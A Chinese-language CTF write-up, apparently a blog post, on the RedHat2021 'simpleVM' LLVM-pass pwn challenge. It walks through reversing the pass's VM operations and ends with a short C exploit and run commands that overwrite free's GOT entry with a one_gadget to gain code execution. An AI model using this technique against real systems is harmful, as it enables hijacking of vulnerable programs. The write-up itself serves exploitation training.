llvm pwn入门--第三篇

RedHat2021-simpleVM

题目分析

找runonfunction

 start函数调用sub_6510,跟进

 调用sub_6690,跟进

 调用sub_6720,跟进

找到 off_20DD20,跟进

 成功定位sub_6830。

sub_6830

 getName后比较函数名是否是o0o0o0o0,是的话就进入sub_6AC0函数,否则直接退出,所以o0o0o0o0就是主函数。

sub_6AC0

 这里begin和end是对基本块的迭代,对于没一个基本块,都执行sub_6B80函数。

sub_6B80

 首先用begin和end遍历基本块,然后getopcode获取操作码,这里的55对应的是call指令,在llvm/IR/Instruction.def这个文件里,所以在主函数里只能写函数调用。接着将函数名放入s1中,用于下边的比较判断。

pop

 getNumOperands函数是User 类的一个成员函数,它用于获取一个指令或表达式中操作数的数量。这里一般函数调用指令的第一个操作数是函数指针或者函数名称,因此这里判断是否为2,实则我们只用传一个操作数即可。函数实现的功能也类似一个pop出栈操作。

push

 跟pop代码大差不差,实现一个push操作。

store

 这里将一个寄存器里的值当作另一个寄存器指定的地址的地址,也就是将任意地址写入一个值。

load

 这跟store操作正好相反,将寄存器存储的地址处的值给另一个寄存器。

add

 指定一个寄存器并加上一个数值。

min

 指定一个寄存器减去一个数值。在最后执行free操作,因此,我们可以通过上述函数来修改free函数的got表。

漏洞利用

修改free的got表为gadget即可。

got表可写。

 

在opt里找到free函数的偏移为0x77E100。 

onegadget

找到free函数的偏移

这里我尝试前两个gadget的偏移,即用min去减,但是都打不通。用最后一个gadget,用add加偏移通了。

 exp

void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg, int val){};
void min(int reg, int val){};

void o0o0o0o0(){
	add(1, 0x77E100);
	load(1);
	add(2,0x729ec);
	store(1);
}

执行

clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值